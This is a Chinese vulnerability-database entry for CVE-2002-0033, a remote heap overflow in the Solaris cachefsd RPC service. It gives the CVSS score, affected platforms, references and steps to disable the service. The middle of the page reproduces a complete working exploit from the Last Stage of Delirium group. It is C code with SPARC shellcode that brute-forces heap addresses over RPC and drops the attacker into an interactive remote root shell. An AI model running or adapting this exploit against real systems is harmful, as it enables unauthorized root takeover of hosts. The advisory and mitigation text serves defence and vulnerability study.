CVE-2002-0033
CVSS10.0
发布时间 :2002-05-29 00:00:00
修订时间 :2008-09-05 16:27:00
NMCOE    

[原文]Heap-based buffer overflow in cfsd_calloc function of Solaris cachefsd allows remote attackers to execute arbitrary code via a request with a long directory and cache name.


[CNNVD]Sun Solaris cachefsd远程堆缓冲区溢出漏洞(CNNVD-200205-079)

        
        Sun Solaris 2.5.1、2.6、7和8 缺省自带和安装了cachefsd程序,它用来对通过NFS mount的远程文件系统的操作请求进行缓存。在Solaris系统下,cachefsd服务以RPC服务形式被安装,号码为100235。
        Solaris cachefsd程序中存在一个可远程利用的堆缓冲区溢出漏洞。远程或本地攻击者可以向cachefsd程序发送一个畸形RPC请求来获取root权限。
        cachefsd的第五个RCP服务函数:cachefsd_fs_mounted_1_svc()需要客户端提供两个字符串参数,一个是cache dir(这个表示要mount的目录名),一个是cache name(cache名)。cachefsd_fs_mounted_1_svc()会调用subr_add_mount()来增加远程mount点,subr_add_mount()又调用cfsd_fscache_create()函数来将这两个参数保存在一个fscache结构中(这个结构由函数cfsd_calloc()动态分配),然而,在保存参数时程序没有进行边界检查,而是直接调用strcpy()函数进行拷贝操作。如果攻击者提供超长的参数,就可能发生堆溢出,动态内存边界处的内存分配管理结构就会被覆盖,攻击者可能改变程序流程执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.6::sparc
cpe:/o:sun:solaris:8.0::sparc
cpe:/o:sun:solaris:7.0::x86
cpe:/o:sun:solaris:8.0::x86
cpe:/o:sun:solaris:2.6::x86
cpe:/o:sun:solaris:7.0::sparc
cpe:/o:sun:solaris:2.5.1::sparc
cpe:/o:sun:solaris:2.5.1::x86

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:31Solaris 8/9 cachefsd Heap Overflow Vulnerability
oval:org.mitre.oval:def:124Solaris 7 cachefsd Heap Overflow Vulnerability
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0033
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0033
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200205-079
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-2002-11.html
(VENDOR_ADVISORY)  CERT  CA-2002-11
http://www.kb.cert.org/vuls/id/635811
(UNKNOWN)  CERT-VN  VU#635811
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F44309
(VENDOR_ADVISORY)  CONFIRM  http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F44309
http://archives.neohapsis.com/archives/bugtraq/2002-05/0026.html
(VENDOR_ADVISORY)  BUGTRAQ  20020505 [LSD] Solaris cachefsd remote buffer overflow vulnerability
http://www.securityfocus.com/bid/4674
(UNKNOWN)  BID  4674
http://www.iss.net/security_center/static/8999.php
(UNKNOWN)  XF  solaris-cachefsd-name-bo(8999)

- 漏洞信息

Sun Solaris cachefsd远程堆缓冲区溢出漏洞
危急 边界条件错误
2002-05-29 00:00:00 2005-08-17 00:00:00
远程  
        
        Sun Solaris 2.5.1、2.6、7和8 缺省自带和安装了cachefsd程序,它用来对通过NFS mount的远程文件系统的操作请求进行缓存。在Solaris系统下,cachefsd服务以RPC服务形式被安装,号码为100235。
        Solaris cachefsd程序中存在一个可远程利用的堆缓冲区溢出漏洞。远程或本地攻击者可以向cachefsd程序发送一个畸形RPC请求来获取root权限。
        cachefsd的第五个RCP服务函数:cachefsd_fs_mounted_1_svc()需要客户端提供两个字符串参数,一个是cache dir(这个表示要mount的目录名),一个是cache name(cache名)。cachefsd_fs_mounted_1_svc()会调用subr_add_mount()来增加远程mount点,subr_add_mount()又调用cfsd_fscache_create()函数来将这两个参数保存在一个fscache结构中(这个结构由函数cfsd_calloc()动态分配),然而,在保存参数时程序没有进行边界检查,而是直接调用strcpy()函数进行拷贝操作。如果攻击者提供超长的参数,就可能发生堆溢出,动态内存边界处的内存分配管理结构就会被覆盖,攻击者可能改变程序流程执行任意代码。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 根据Sun提供的信息,禁止cachefsd服务只会对使用AutoClient的系统产生一些影响,而且只会对中断连接模式产生影响。它不会影响正常的mount和umount操作,只是在执行"mount -F cachefs..."命令时会报告"mount -F cachefs: cachefsd is not running"。
         因此我们我们建议您在还没有安装补丁之前暂时关闭cachefsd服务。
         具体方法是:
         1. 转变成root用户
         $ su -
         #
         2. 关闭cachefsd服务
         使用您熟悉的编辑器打开/etc/inetd.conf文件,找到如下行:
         100235/1 tli rpc/tcp wait root /usr/lib/fs/cachefs/cachefsd cachefsd
         在该行的开始处增加"#"号来将其注释:
         #100235/1 tli rpc/tcp wait root /usr/lib/fs/cachefs/cachefsd cachefsd
         保存修改,退出编辑器。
         3. 禁止cachefsd的执行权限(可选)
         # chmod 000 /usr/lib/fs/cachefs/cachefsd
         4. 重新启动inetd
         # ps -ef|grep inetd
         root 167 1 0 Oct 07 ? 0:07 /usr/sbin/inetd -s -t
         # kill -HUP 167 (上面的例子中,167是inetd的pid)
         如果已经有cachefsd进程在运行,最好将其杀掉。
         # ps -ef|grep cachefsd
         # kill
         在Solaris 7或者8下,可以使用pkill命令来完成上面的操作:
         $ pkill -HUP inetd
         $ pkill cachefsd
        厂商补丁:
        Sun
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://sunsolve.sun.com/security

- 漏洞信息 (21437)

Solaris 2/7/8/9 cachefsd Heap Overflow Vulnerability (EDBID:21437)
solaris remote
2002-01-01 Verified
0 Last Stage of Delirium
N/A [点击下载]
source: http://www.securityfocus.com/bid/4674/info

A remotely exploitable buffer overflow condition has been reported in cachefsd. The overflow occurs in the heap and is reportedly exploitable as valid malloc() chunk structures are overwritten. Successful attacks may result in remote attackers gaining root access on the affected system. 

/*## copyright LAST STAGE OF DELIRIUM jan 2002 poland        *://lsd-pl.net/ #*/
/*## cachefsd                                                                #*/

/* this code was tested on sun4u and sun4m architecture for Solaris 6/7.      */
/* due to large data transfers of about 100KB and the use of some brute       */
/* force technique the code may need some time to proceed.                    */
/* for older sparc architectures try using the -m option.                     */
/* in case the exploit fails after passing all cycles of the brute force loop */
/* try to use the -b option.                                                  */


#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define CACHEFS_PROG 100235
#define CACHEFS_VERS 1
#define CACHEFS_MOUNTED 5

#define NOPNUM  60

char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>          */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>            */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>          */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0             */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1             */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]            */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]           */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]           */
    "\x82\x10\x20\x0b"     /* mov     0x0b,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "/bin/ksh"
;

char findsckcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode>          */
    "\x7f\xff\xff\xff"     /* call    <findsckcode+4>        */
    "\x33\x02\x12\x34"
    "\xa0\x10\x20\xff"     /* mov     0xff,%l0               */
    "\xa2\x10\x20\x54"     /* mov     0x54,%l1               */
    "\xa4\x03\xff\xd0"     /* add     %o7,-48,%l2            */
    "\xaa\x03\xe0\x28"     /* add     %o7,40,%l5             */
    "\x81\xc5\x60\x08"     /* jmp     %l5+8                  */
    "\xc0\x2b\xe0\x04"     /* stb     %g0,[%o7+4]            */
    "\xe6\x03\xff\xd0"     /* ld      [%o7-48],%l3           */
    "\xe8\x03\xe0\x04"     /* ld      [%o7+4],%l4            */
    "\xa8\xa4\xc0\x14"     /* subcc   %l3,%l4,%l4            */
    "\x02\xbf\xff\xfb"     /* bz      <findsckcode+32>       */
    "\xaa\x03\xe0\x5c"     /* add     %o7,92,%l5             */
    "\xe2\x23\xff\xc4"     /* st      %l1,[%o7-60]           */
    "\xe2\x23\xff\xc8"     /* st      %l1,[%o7-56]           */
    "\xe4\x23\xff\xcc"     /* st      %l2,[%o7-52]           */
    "\x90\x04\x20\x01"     /* add     %l0,1,%o0              */
    "\xa7\x2c\x60\x08"     /* sll     %l1,8,%l3              */
    "\x92\x14\xe0\x91"     /* or      %l3,0x91,%o1           */
    "\x94\x03\xff\xc4"     /* add     %o7,-60,%o2            */
    "\x82\x10\x20\x36"     /* mov     0x36,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\x1a\xbf\xff\xf1"     /* bcc     <findsckcode+36>       */
    "\xa0\xa4\x20\x01"     /* deccc   %l0                    */
    "\x12\xbf\xff\xf5"     /* bne     <findsckcode+60>       */
    "\xa6\x10\x20\x03"     /* mov     0x03,%l3               */
    "\x90\x04\x20\x02"     /* add     %l0,2,%o0              */
    "\x92\x10\x20\x09"     /* mov     0x09,%o1               */
    "\x94\x04\xff\xff"     /* add     %l3,-1,%o2             */
    "\x82\x10\x20\x3e"     /* mov     0x3e,%g1               */
    "\xa6\x84\xff\xff"     /* addcc   %l3,-1,%l3             */
    "\x12\xbf\xff\xfb"     /* bne     <findsckcode+112>      */
    "\x91\xd0\x20\x08"     /* ta      8                      */
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{char *dir;char *cache;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,&objp->dir,~0)) return(FALSE);
    if(!xdr_string(xdrs,&objp->cache,~0)) return(FALSE);
    return(TRUE);
}

int tab[]={
    0x11111111,0x11111111,0xffffffff,0x00000000,
    0xffffffff,0xffffffff,0xffffffff,0xffffffff,
    0xffffffff,0x00000000,0x22222222,0x22222222
};

main(int argc,char **argv){
    char buffer[100000],*b;
    int i,j,c,n,address,offset=0,ofs=0,port=0,sck,flag=0,mflag=0,vers=-1;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM jan 2002 poland  //lsd-pl.net/\n");
    printf("cachefsd for solaris 2.6 2.7 sparc\n\n");

    if(argc<2){
        printf("usage: %s address [-p port] [-o ofs] -v 6|7 [-b] [-m]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"p:o:v:bm"))!=-1){
        switch(c){
        case 'p': port=atoi(optarg);break;
        case 'o': offset=atoi(optarg);break;
        case 'v': vers=atoi(optarg);break;
        case 'b': flag=1;break;
	case 'm': mflag=1;
        }
    }

    switch(vers){
    case 6: address=0xefffeb20;break;
    case 7: case 8: address=0xffbee998;break;
    default: exit(-1);
    }
    if(mflag) address=0xeffffa1c;
    for(j=0;j<512;j++){
        tab[0]=tab[1]=htonl(0xfffffffe);
        tab[3]=htonl(address+offset+ofs+((flag)?80:0));
        tab[9]=htonl(address+offset+ofs+((mflag)?-4136:4228));

        if(!j){
            printf("ret=0x%08x adr=0x%08x ofs=%d timeout=%d\n",
	        ntohl(tab[9]),ntohl(tab[3]),offset,
	        tm.tv_sec);
        }

        adr.sin_family=AF_INET;
        adr.sin_port=htons(port);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
	        errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }
  
        sck=RPC_ANYSOCK;
        if(!(cl=clnttcp_create(&adr,CACHEFS_PROG,CACHEFS_VERS,&sck,0,0))){
            clnt_pcreateerror("\nclnttcp_create error");exit(-1);
        }
        cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

        memset(buffer,0xff,60000);
        buffer[60000]=0;

        req.dir=buffer;
        req.cache="lsd";

        stat=clnt_call(cl,CACHEFS_MOUNTED,xdr_req,(void*)&req,xdr_void,NULL,tm);
        if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}

        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
            ioctl(sck,(('S'<<8)|2),"sockmod");
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);
            nb.buf=(char*)&adr;
            ioctl(sck,(('T'<<8)|144),&nb);
        }
        n=ntohs(adr.sin_port);

        findsckcode[14+0]=(unsigned char)((n>>8)&0xff);
        findsckcode[14+1]=(unsigned char)(n&0xff);

        memset(buffer,0x41,14000);
        b=buffer; 
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        memcpy(&buffer[13920],tab,40);
        buffer[14000]=0;

        req.dir="/var/lp";
        req.cache=buffer;
        stat=clnt_call(cl,CACHEFS_MOUNTED,xdr_req,(void*)&req,xdr_void,NULL,tm);
        if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
        stat=clnt_call(cl,CACHEFS_MOUNTED,xdr_req,(void*)&req,xdr_void,NULL,tm);
        if((stat==RPC_SUCCESS)||(stat==RPC_CANTRECV)){
            clnt_destroy(cl);close(sck);
            ofs=(j%2)?(-((j>>1)+1)*4):(((j>>1)+1)*4);
	    printf(".");fflush(stdout);
        }else break;
    }

    printf("OK! adr=0x%08x\n",ntohl(tab[3]));
    write(sck,"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
	    int cnt;
	    char buf[1024];
	    if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
	            if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
	            else break;
                }
	        write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
	            if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
	            else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}


		

- 漏洞信息

779
Solaris RPC cachefsd cfsd_calloc Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Commercial Vendor Verified

- 漏洞描述

- 时间线

2002-05-05 Unknow
2002-05-05 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站